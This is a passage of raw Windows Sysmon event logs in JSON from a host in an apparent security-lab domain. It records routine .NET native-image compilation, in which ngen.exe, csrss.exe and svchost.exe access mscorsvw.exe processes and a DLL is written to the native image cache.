2020-08-07 12:01:30.541\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010E2D00A00}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.541","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010E2D00A00}","TargetProcessId":"3292","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6779,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.541\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010E2D00A00}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.541","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010E2D00A00}","TargetProcessId":"3292","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6780,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010E2D00A00}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010E2D00A00}","TargetProcessId":"3292","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6781,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.588\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-001037D40A00}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.588","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-001037D40A00}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6782,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-001037D40A00}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-001037D40A00}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6783,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-001037D40A00}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-001037D40A00}","TargetProcessId":"4376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6784,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:30.619\r\nProcessGuid: {90617006-429A-5F2D-0000-001037D40A00}\r\nProcessId: 4376\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1118-0\\Microsoft.ActiveDirectory.TRLParserInterop.dll\r\nCreationUtcTime: 2020-08-07 12:01:30.619","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:30.619","ProcessGuid":"{90617006-429A-5F2D-0000-001037D40A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1118-0\\Microsoft.ActiveDirectory.TRLParserInterop.dll","CreationUtcTime":"2020-08-07 12:01:30.619","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6785,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.635\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010A2D70A00}\r\nTargetProcessId: 4412\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.635","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010A2D70A00}","TargetProcessId":"4412","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6786,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.635\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010A2D70A00}\r\nTargetProcessId: 4412\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 